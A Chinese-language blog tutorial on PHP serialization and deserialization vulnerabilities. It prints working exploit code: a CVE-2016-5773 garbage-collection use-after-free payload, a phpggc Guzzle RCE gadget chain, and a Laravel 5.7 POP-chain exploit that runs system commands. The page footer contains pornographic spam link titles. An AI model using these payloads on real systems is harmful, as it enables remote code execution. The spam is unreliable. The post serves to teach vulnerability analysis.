1. <strong id="7actg"></strong>
    2. <table id="7actg"></table>

    3. <address id="7actg"></address>
      <address id="7actg"></address>
      1. <object id="7actg"><tt id="7actg"></tt></object>

        php 序列化與反序列化

        共 5627字,需瀏覽 12分鐘

         ·

        2020-10-05 15:18

        點(diǎn)擊藍(lán)字關(guān)注我們吧!



        簡(jiǎn)述



        前端時(shí)間復(fù)現(xiàn)?drupal Remote Code Execution- SA-CORE-2019-003 遇到了php反序列化的問題,打算這篇文章寫一下php反序列化。?


        首先我們簡(jiǎn)單介紹一下php序列化的數(shù)據(jù)


        a - array 數(shù)組b - boolean 布爾d - double 浮點(diǎn)數(shù)i - integer 數(shù)字o - common object PHP3 中被引入用來(lái)序列化對(duì)象r - reference 對(duì)象引用s - non-escaped binary stringS - escaped binary stringC - custom object 自定義的對(duì)象序列化O - class 序列化對(duì)象 PHP4 取代oN - nullR - pointer reference 指針引用U - unicode string PHP6 引入unicode編碼字符串


        接下來(lái)重點(diǎn)用代碼分析序列化數(shù)據(jù)


        class SampleClass {    var $value;}$a = new SampleClass();$a->value = $a; //對(duì)象引用$b = new SampleClass();$b->value = &$b; //指針引用var_dump(serialize($a));var_dump(serialize($b));$a->value = 1; //不會(huì)更改本身對(duì)象$b->value = 1; //會(huì)改變本身對(duì)象var_dump(serialize($a));var_dump(serialize($b));


        上述代碼分析了對(duì)象引用與指針引用的情況以及區(qū)別,序列化數(shù)據(jù)為


        O:11:"SampleClass":1:{s:5:"value";r:1;}O:11:"SampleClass":1:{s:5:"value";R:1;}O:11:"SampleClass":1:{s:5:"value";i:1;}i:1;


        php中對(duì)于protected和private屬性序列化時(shí)具有特定的形式,以下還是用代碼表示


        class demo{  protected $protected = 1;  private $private = 2;}$c = new demo;var_dump(serialize($c));$s = "O:4:\"demo\":1:{s:1:\"s\";N;}";var_dump(unserialize($s));$f = "O:4:\"demo\":2:{s:12:\"\00*\00protected\";i:2;s:13:\"\00demo\00private\";N;}";var_dump(unserialize($f));


        對(duì)于protected屬性的變量序列化時(shí)前面會(huì)加\00*\00,protected屬性的變量序列化為\00類名\00,默認(rèn)反序列對(duì)象包含其所聲明變量


        O:4:"demo":2:{s:12:"?*?protected";i:1;s:13:"?demo?private";i:2;}

        object(demo)[2] protected 'protected' => int 1 private 'private' => int 2 public 's' => null

        object(demo)[2] protected 'protected' => int 2 private 'private' => null



        特點(diǎn)


        php擁有自定義的序列化接口,實(shí)現(xiàn)代碼如下:


        Serializable {  abstract public string serialize ( void )  abstract public mixed unserialize ( string $serialized )}


        具體使用情況代碼,可以參照官網(wǎng),這里我簡(jiǎn)述一下,

        _construct?和?_destruct?在序列化時(shí)的變化


        class demo implements Serializable{  private $data;  public function __wakeup(){        var_dump("__wakeup");    }    public function __sleep(){        var_dump("__sleep");    }    public function __construct(){    $this->data = "this is demo";    var_dump("__construct");  }  public function serialize(){    return serialize($this->data);  }  public function unserialize($data){    $this->data = unserialize($data);  }  public function getData(){    return $this->data;  }  public function __destruct(){    return var_dump("__destruct");  }}$obj = new demo;$ser = serialize($obj);$b = unserialize($ser);var_dump($b);


        上述代碼重新定義了序列化接口,并對(duì)其進(jìn)行了序列化和反序列化的操作,觀察其中魔術(shù)方法


        '__construct'?(length=11)
        object(demo)[2]s??private?'data'?=>?string?'this?is?demo'?(length=12)
        '__destruct'?(length=10)
        '__destruct' (length=10)


        可以看到__destruct方法在整個(gè)序列化過(guò)程結(jié)束時(shí)才會(huì)調(diào)用,

        調(diào)用的次數(shù)取決于序列化和反序列化的次數(shù),__construct方法在new對(duì)象時(shí)調(diào)用,并不在序列化過(guò)程中調(diào)用,

        __wakeup和__sleep方法不再支持與調(diào)用?


        本文由“壹伴編輯器”提供技術(shù)支持

        介紹完php序列化的基本內(nèi)容,捎帶講一下常見的php序列化漏洞繞過(guò):

        對(duì)于__wakeup方法的繞過(guò)可以利用對(duì)象屬性個(gè)數(shù)的值大于真實(shí)的屬性個(gè)數(shù)時(shí)就會(huì)跳過(guò)的特性,CVE-2016-7124;

        O:與O:+都可代表類,同理其他類型的都可以這么表示,可以繞過(guò)preg_ macth的檢查,繞過(guò)substr開頭為O:,可以將序列化數(shù)據(jù)放入數(shù)組中,反序列化時(shí)會(huì)執(zhí)行數(shù)組中的內(nèi)容。


        本文由“壹伴編輯器”提供技術(shù)支持


        PHP 5.3.0中引入了垃圾收集(GC)算法,存在漏洞CVE-2016-5773,

        由于我對(duì)二進(jìn)制方面的漏洞也不是很理解,這里我簡(jiǎn)單描述一下:

        這是use-after-free的漏洞,原因在于ArrayObjects沒有實(shí)現(xiàn)垃圾回收功能,多次引用釋放后會(huì)導(dǎo)致覆蓋堆棧地址,自動(dòng)觸發(fā)GC的機(jī)制,超過(guò)GCROOTBUFFERMAXENTRIES的默認(rèn)次數(shù)10000。

        具體講解見鏈接:

        Breaking PHP’s Garbage Collection and Unserialize


        我這邊捎帶貼一下重要的代碼圖,我改過(guò)的,適用于PHP 5.4.45版本


        define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);// Create a fake zval string which will fill our freed space later on.$fake_zval_string = pack('L', 1337).pack('L', 0).str_repeat("\x01", 8);$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';// Create a sandwich like structure:// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE$overflow_gc_buffer = '';for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {    $overflow_gc_buffer .= 'i:0;a:0:{}';    $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;}// The decrementor_object will be initialized with the contents of our target array ($free_me).$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';// The following references will point to the $free_me array (id=3) within unserialize.$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';// Setup our target array i.e. an array that is supposed to be freed during unserialization.$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';// Increment each decrementor_object reference count by 2.$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';// Trigger the GC and free our target array.$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';// Add our GC trigger and add a reference to the target array.$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';$a = unserialize($payload);var_dump($a);



        魔術(shù)方法


        soapClient原生類


        在不同語(yǔ)言的序列化過(guò)程中,最經(jīng)常利用的就是魔術(shù)方法。

        當(dāng)然php也不例外,除了上述描述的魔術(shù)方法以外,

        序列化一個(gè)對(duì)象將會(huì)保存對(duì)象的所有變量,但是不會(huì)保存對(duì)象的方法,只會(huì)保存類的名字,并且靜態(tài)變量不支持序列化。


        官方的簡(jiǎn)述如下:


        __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被稱為魔術(shù)方法(Magic methods)在給不可訪問屬性賦值時(shí),__set() 會(huì)被調(diào)用。讀取不可訪問屬性的值時(shí),__get() 會(huì)被調(diào)用。當(dāng)對(duì)不可訪問屬性調(diào)用 isset() 或 empty() 時(shí),__isset() 會(huì)被調(diào)用。當(dāng)對(duì)不可訪問屬性調(diào)用 unset() 時(shí),__unset() 會(huì)被調(diào)用。屬性重載只能在對(duì)象中進(jìn)行。在靜態(tài)方法中,這些魔術(shù)方法將不會(huì)被調(diào)用。所以這些方法都不能被 聲明為 static。從 PHP 5.3.0 起, 將這些魔術(shù)方法定義為 static 會(huì)產(chǎn)生一個(gè)警告。


        接下來(lái)重點(diǎn)簡(jiǎn)述一下__call()方法:

        在對(duì)象中調(diào)用一個(gè)不可訪問方法時(shí),__call()會(huì)被調(diào)用。

        方法分為public、privateprotected,方法也分為靜態(tài)和非靜態(tài),

        • ->(對(duì)象運(yùn)算符)訪問非靜態(tài)屬性(根據(jù)不同的php版本可對(duì)靜態(tài)屬性賦值,但是不會(huì)影響到方法中的屬性值)

        • ::(范圍解析操作符 )只能訪問靜態(tài)屬性,可對(duì)父類進(jìn)行覆蓋。


        為了更好的理解,下面貼出官方demo:

        function __call($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling object method '$name' "             . implode(', ', $arguments). "\n";    }    /**  PHP 5.3.0之后版本  */    public static function __callStatic($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling static method '$name' "             . implode(', ', $arguments). "\n";    }}$obj = new MethodTest;$obj->runTest('in object context');MethodTest::runTest('in static context');  // PHP 5.3.0之后版本?>Calling object method 'runTest' in object contextCalling static method 'runTest' in static context

        Soap協(xié)議為簡(jiǎn)單對(duì)象訪問協(xié)議,采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。

        常見wsdl文件描述如何訪問具體接口,php中原生類SoapClient可以創(chuàng)建soap報(bào)文,與接口進(jìn)行交互,SoapClient類具有魔術(shù)方法_call,

        根據(jù)之前的分析,構(gòu)造一個(gè)不存在的functionname,調(diào)用到魔術(shù)方法中,進(jìn)一步發(fā)送請(qǐng)求,造成SSRF反序列化漏洞



        利用



        最后利用phpggc中Guzzle的例子,具體分析利用過(guò)程,生成序列化數(shù)據(jù):

        phpggc Guzzle/rce1 assert phpinfo -j


        O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:3:\"dir\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}


        觀察序列化數(shù)據(jù),可以得到一個(gè)pop鏈,根據(jù)序列化流程圖,我們具體分析


        ?

        我們找到對(duì)應(yīng)的相關(guān)代碼具體分析整個(gè)運(yùn)行,chain.php


        public function generate(array $parameters){        $function = $parameters['function'];        $parameter = $parameters['parameter'];

        return new \GuzzleHttp\Psr7\FnStream([ 'close' => [ new \GuzzleHttp\HandlerStack($function, $parameter), 'resolve' ] ]); }


        可以看到主要序列化了\GuzzleHttp\Psr7\FnStream類,運(yùn)用了其中close數(shù)組,包含\GuzzleHttp\HandlerStack類,gadgets.php



        namespace Psr\Http\Message{ interface StreamInterface{}}
        namespace GuzzleHttp\Psr7{ class FnStream implements \Psr\Http\Message\StreamInterface {??????private?$methods; public function __construct(array $methods) {??????????$this->methods?=?$methods; foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; }??????} /* public function __destruct() { if (isset($this->_fn_close)) { call_user_func($this->_fn_close); } }
        public function close() { return call_user_func($this->_fn_close); } */ }}namespace GuzzleHttp{ class HandlerStack { private $handler; private $stack;??????private?$cached?=?false; function __construct($function, $parameter) { $this->stack = [[$function]]; $this->handler = $parameter;??????} /* public function resolve() { if (!$this->cached) { if (!($prev = $this->handler)) { throw new \LogicException('No handler has been specified');??????????????} foreach (array_reverse($this->stack) as $fn) { $prev = $fn[0]($prev);??????????????} $this->cached = $prev;??????????} return $this->cached; } */ }}


        再通過(guò)流程圖回溯,變量method賦值close數(shù)組,達(dá)到覆蓋變量fnclose,

        并通過(guò)resolve方法傳入payload,通過(guò)__destruct魔術(shù)方法達(dá)到任意代碼執(zhí)行。



        具體案例分析



        本案例為L(zhǎng)aravel5.7反序列化漏洞,執(zhí)行命令的功能位于?Illuminate/Foundation/Testing/PendingCommand?類的?run?方法。為了方便查找代碼具體位置,

        以下分析過(guò)程盡量用圖展示:



        可以看出想要實(shí)現(xiàn)命令執(zhí)行,要經(jīng)過(guò)mockConsoleOutput方法,

        跟進(jìn)方法:


        protected function mockConsoleOutput(){        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),????????]);
        foreach ($this->test->expectedQuestions as $i => $question) { $mock->shouldReceive('askQuestion') ->once() ->ordered() ->with(Mockery::on(function ($argument) use ($question) { return $argument->getQuestion() == $question[0]; })) ->andReturnUsing(function () use ($question, $i) {????????????????????unset($this->test->expectedQuestions[$i]);
        return $question[1]; });????????} $this->app->bind(OutputStyle::class, function () use ($mock) { return $mock; }); }


        乍一看需要判斷的條件很多,為了簡(jiǎn)化流程,我選擇先從命令執(zhí)行開始要傳入的參數(shù)看起

        除了$command和$parameters,還有兩個(gè)參數(shù)$test和$app,

        通過(guò)注釋可以得知:

        \Illuminate\Foundation\Application $app,\PHPUnit\Framework\TestCase $test

        一開始我卡在了如何反序列化$test對(duì)象,因?yàn)橥ㄟ^(guò)源碼(具體代碼就不貼了)可以看到$test為一個(gè)抽象方法繼承了Assert實(shí)現(xiàn)了SelfDescribing和Test接口,序列化時(shí)不能對(duì)其進(jìn)行操作,

        我選擇了先定義為普通方法,看程序返回:


        namespace Illuminate\Foundation\Testing{    class PendingCommand{        public $test;        protected $app;        protected $command;????????protected?$parameters;????????        public function __construct($test, $app, $command, $parameters){            $this->test = $test;            $this->app = $app;            $this->command = $command;            $this->parameters = $parameters;        }    }}
        namespace PHPUnit\Framework{ class TestCase{ public function __construct(){ } }}
        namespace Illuminate\Foundation{ class Application{ public function __construct() { } }}
        namespace{ $defaultgenerator = new PHPUnit\Framework\TestCase; $application = new Illuminate\Foundation\Application(); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id')); echo urlencode(serialize($pendingcommand));}


        可以看到程序報(bào)錯(cuò),停在了PendingCommand.php的163行,原因是必須為數(shù)組類型



        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),        ]);


        由此,我們?yōu)榱丝刂茢?shù)組,采用__get()方法,搜索全局代碼,

        找到Faker\DefaultGenerator?類,由此我們重新構(gòu)造,多余的代碼就不寫了,只是更改$defaultgenerator


        namespace Faker{    class DefaultGenerator  {      protected $default;      public function __construct($default = null)      {          $this->default = $default;      }  }}


        修改過(guò)后,重新運(yùn)行到達(dá)136行,出現(xiàn)異常跳出,需要單步調(diào)試一下,代碼為;


        $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);


        為了更直觀的展示具體出現(xiàn)代碼的位置,我在此處下了斷點(diǎn),

        $this->app為?Illuminate\Foundation\Application?類,

        如下圖所示:



        接著分析Kernel::class,為Illuminate\Contracts\Console\Kernel類,

        跟蹤到此類,找到call方法,發(fā)現(xiàn)斷點(diǎn)跟蹤后無(wú)法到達(dá),懷疑是在中間的某個(gè)位置發(fā)生了錯(cuò)誤,

        于是我選擇將數(shù)組拆開分析,得到以下調(diào)用鏈:



        最后找到Illuminate\Container\Container類中的make方法,

        通過(guò)resolve對(duì)抽象類$this->build($concrete)進(jìn)行實(shí)例化,

        而Kernel類為一個(gè)接口最終導(dǎo)致返回錯(cuò)誤,

        最終的代碼實(shí)現(xiàn)為:


        public function make($abstract, array $parameters = []){        return $this->resolve($abstract, $parameters);    }

        protected function resolve($abstract, $parameters = []){ $abstract = $this->getAlias($abstract); $needsContextualBuild = ! empty($parameters) || ! is_null( $this->getContextualConcrete($abstract) ); if (isset($this->instances[$abstract]) && ! $needsContextualBuild) { return $this->instances[$abstract]; } $this->with[] = $parameters; $concrete = $this->getConcrete($abstract); if ($this->isBuildable($concrete, $abstract)) { $object = $this->build($concrete); } else { $object = $this->make($concrete); } foreach ($this->getExtenders($abstract) as $extender) { $object = $extender($object, $this); } if ($this->isShared($abstract) && ! $needsContextualBuild) { $this->instances[$abstract] = $object; } $this->fireResolvingCallbacks($abstract, $object); $this->resolved[$abstract] = true; array_pop($this->with); return $object; }


        為了使resolve方法正常返回,有兩種方式:

        • 1. 通過(guò) :

        return $this->instances[$abstract]$concrete = $this->getConcrete($abstract)

        • 2. 參考文章:laravelv5.7反序列化rce(CVE-2019-9081)?


        這里我們使用第一個(gè)方法,直接對(duì)exp中Illuminate\Foundation\Application進(jìn)行重寫:


        namespace Illuminate\Foundation{    class Application{        protected $instances = [];        public function __construct($instances = []){            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;        }    }}


        正如之前所說(shuō)當(dāng)直接賦值以后,return的變量控制為:Illuminate\Contracts\Console\Kernel

        直接運(yùn)行到call方法達(dá)到命令執(zhí)行的效果,具體的效果圖我就不貼了,當(dāng)然第二種方法與第一種方法本質(zhì)上差不多,都是直接賦值,有點(diǎn)不一樣就是第一種方法是直接運(yùn)行call方法,

        第二種是Illuminate\Foundation\Application繼承Container達(dá)到運(yùn)行call方法。


        相關(guān)鏈接:


        http://www.php.cn/php-notebook-239422.html https://www.php.net/manual/zh/class.serializable.php https://bugs.php.net/bug.php?id=72663 https://xz.aliyun.com/t/5483



        end





        瀏覽 69
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        評(píng)論
        圖片
        表情
        推薦
        點(diǎn)贊
        評(píng)論
        收藏
        分享

        手機(jī)掃一掃分享

        分享
        舉報(bào)
        1. <strong id="7actg"></strong>
        2. <table id="7actg"></table>

        3. <address id="7actg"></address>
          <address id="7actg"></address>
          1. <object id="7actg"><tt id="7actg"></tt></object>
            色婷婷性爱 | 日逼视 | 亚洲性无码视频 | 日韩十九禁 | 亚洲男男网站gy2020 | 欧美成人免费网址 | 毛片免费播放 | 中国操逼网战 | 欧美亚洲国产视频 | 白峰美羽无码 |